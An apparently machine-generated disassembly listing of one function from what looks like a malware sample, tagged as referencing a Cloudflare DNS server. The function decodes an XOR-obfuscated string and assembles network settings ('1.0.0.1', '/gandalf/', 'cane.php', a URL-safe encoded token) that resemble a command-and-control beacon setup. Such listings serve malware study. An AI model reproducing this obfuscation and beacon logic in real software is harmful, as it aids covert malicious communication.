Function at 0x402780
Capabilities:
Reference cloudflare dns server

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x204
lea ebp, [esp + 4]
push 0x200
push 0
push ebp
call fcn.0042a390
add esp, 0xc
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
cmp byte [eax + 0xa8], 0
je 0x402b15
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov ecx, dword [ecx + eax*4]
lea eax, [ecx + 0x98]
cmp byte [ecx + 0xa5], 0
je 0x4027f5
movsd xmm0, qword [eax]
xorps xmm0, xmmword [0x445180]
movlps qword [eax], xmm0
xor dword [eax + 8], 0x73b1746a
xor byte [eax + 0xc], 0x33
mov byte [eax + 0xd], 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebp
call ebx
push 0
push 0
push eax
push ebp
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov edi, eax
lea eax, [eax*2 + 2]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push ebp
call ebx
push edi
push esi
push eax
push ebp
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x79d
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x454984], eax
test eax, eax
je 0x402a49
jmp 0x40286d
mov eax, dword [0x454984]
add eax, 4
push str.1.0.0.1
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x402893
jmp 0x4028a5
mov eax, dword [0x454984]
mov dword [eax + 0x14], 0
jmp 0x4028c3
jmp 0x4028d5
mov eax, dword [0x454984]
add eax, 0x18
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
push eax
call ebx
jmp 0x4028f9
jmp 0x40290b
mov esi, 0x218
mov eax, dword [0x454984]
add eax, esi
push str._gandalf_
push eax
call ebx
jmp 0x402931
jmp 0x402943
mov edi, 0x418
mov eax, dword [0x454984]
add eax, edi
push str.cane.php
push eax
call ebx
jmp 0x402969
jmp 0x40297b
mov eax, 0x61c
add eax, dword [0x454984]
push 0x44d820
push eax
call ebx
jmp 0x4029a0
jmp 0x4029b2
mov eax, dword [0x454984]
mov dword [eax + 0x618], 0xfa0
jmp 0x4029d3
mov eax, dword [0x454984]
add eax, 4
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
call ebx
mov ecx, dword [0x454984]
add ecx, 4
mov edx, esp
push ecx
push eax
push edx
call fcn.00401000
add esp, 0xc
mov dword [0x456598], eax
push eax
call ebx
test eax, eax
je 0x402acd
mov ecx, dword [0x456598]
xor edx, edx
mov ebp, eax
cmp eax, 1
jne 0x402a50
mov eax, ebp
test al, 1
je 0x402acd
movzx eax, byte [ecx + edx]
cmp eax, 0x2b
je 0x402ac4
cmp eax, 0x2f
je 0x402ac8
cmp eax, 0x3d
jne 0x402acd
mov al, 0x2d
jmp 0x402aca
xor eax, eax
jmp 0x402b0a
mov eax, ebp
and eax, 0xfffffffe
xor edx, edx
jmp 0x402a6d
mov bl, 0x5f
mov byte [ecx + edx + 1], bl
add edx, 2
cmp eax, edx
je 0x402a19
movzx ebx, byte [ecx + edx]
cmp ebx, 0x2b
je 0x402aa0
cmp ebx, 0x3d
je 0x402a90
cmp ebx, 0x2f
jne 0x402aa5
mov bl, 0x5f
jmp 0x402aa2
mov bl, 0x2d
jmp 0x402aa2
mov bl, 0x2e
mov byte [ecx + edx], bl
movzx ebx, byte [ecx + edx + 1]
cmp ebx, 0x2b
je 0x402ac0
cmp ebx, 0x2f
je 0x402a60
cmp ebx, 0x3d
jne 0x402a66
mov bl, 0x2d
jmp 0x402a62
mov bl, 0x2e
jmp 0x402a62
mov al, 0x2e
jmp 0x402aca
mov al, 0x5f
mov byte [ecx + edx], al
push 0x400
push 0
push 0x454988
call fcn.0042a390
add esp, 0xc
add esi, dword [0x454984]
push esi
push 0x454988
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
add edi, dword [0x454984]
push edi
push 0x454988
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, 1
add esp, 0x204
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [0x4575b8]
mov ecx, dword fs:[0x2c]
mov eax, dword [ecx + eax*4]
mov byte [eax + 0xa8], 1
movsd xmm0, qword [0x445190]
movsd qword [eax + 0x98], xmm0
mov dword [eax + 0xa0], 0x7d41a44
mov word [eax + 0xa4], 0x133
push 0x4052a0
call fcn.00405999
add esp, 4
jmp 0x4027ba